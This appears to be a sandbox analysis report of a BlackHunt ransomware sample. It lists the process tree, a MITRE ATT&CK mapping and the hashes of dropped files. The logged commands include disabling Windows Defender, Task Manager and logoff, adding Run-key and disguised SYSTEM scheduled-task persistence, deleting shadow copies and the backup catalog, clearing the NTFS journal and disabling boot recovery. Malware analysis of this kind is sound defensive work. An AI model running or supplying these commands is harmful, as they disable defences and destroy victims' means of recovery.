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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2652
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:1908
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:1100
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2900
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2716
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2872
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2720
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2648
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2008
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:1616
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2968
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2540
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1652
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2556
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:1084
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2612
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:320
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:1160
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2576
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:1424
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1324
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:1904
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2712
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:1984
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:3040
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:1964
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2156
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:1516
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1740
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2756
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2032
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2932
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2192
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2920
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:3068
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2944
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2356
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2960
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2044
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2964
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1212
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2972
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1740
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2980
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1448
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1336
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1016
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1308
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2400
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1844
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2760
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe" /F2⤵PID:2768
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\3b00be8c117a2245041a511627b1db4f7cfa552a580a259d40112251b0225549.exe" /F3⤵
- Creates scheduled task(s)
PID:2280
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:972
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1020
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1148
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:2056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2732
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2104
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:3024
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1388
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1748
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2028
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2260
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2988
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:872
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2516
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1592
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1984
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:432
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2980
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1004
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:624
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1256
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1348
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1572
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:776
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2412
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:672
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:1652
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:1692
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
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Downloads
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Filesize
1KB
MD5a4d7ace5b33f073d375a49ac1fba308d
SHA195cd0002b36b733b4901f81022f04a1d11a6a3f2
SHA256e4fe79be14b17204ce48c5c18a54c0a70f99cf6bb9ab94538079067855309c65
SHA51283cee2f4d8056c60fcb726b25eaaed107e52fa6f2ff03a93d8fd6f567a5043d9bb1782d6af2f4c126c46f95556a57b0bc17371687ec5125d867deabf62bef8d9
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Filesize
12KB
MD5878be74bd0e7e51ef658d97d3d8741dc
SHA19279b109122ea9373f6143429c072f02bf383bba
SHA256624f070487db941b866854409cb2dd3d5aa7693f7cac4b536c934e4060b68b08
SHA51274175400dc33ffd7c947247d2e8903517cd8c469775ab1d3776bd360967ab96846977d3c25d70e85b632b45eb65e21f792ad234b34f7d26bd04a2dea751db58c
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Filesize
684B
MD527c45b02cc824150b0c66dc33c0a190c
SHA1d6e811e928cb1eef07d0e25dfc4b6784ff0549e9
SHA256feffa06e9a32c05edcfc19d29de03d0550451d91204c06f575d379a9aa27a22c
SHA5120ad14df6b496653bb4acc45e98768a2d74c19f4fdb9454e9b93b33a1145fbfbef4f633aab6deaea10547d43d0034774f8b2c5494e3733d3e4afccaf1bc702edc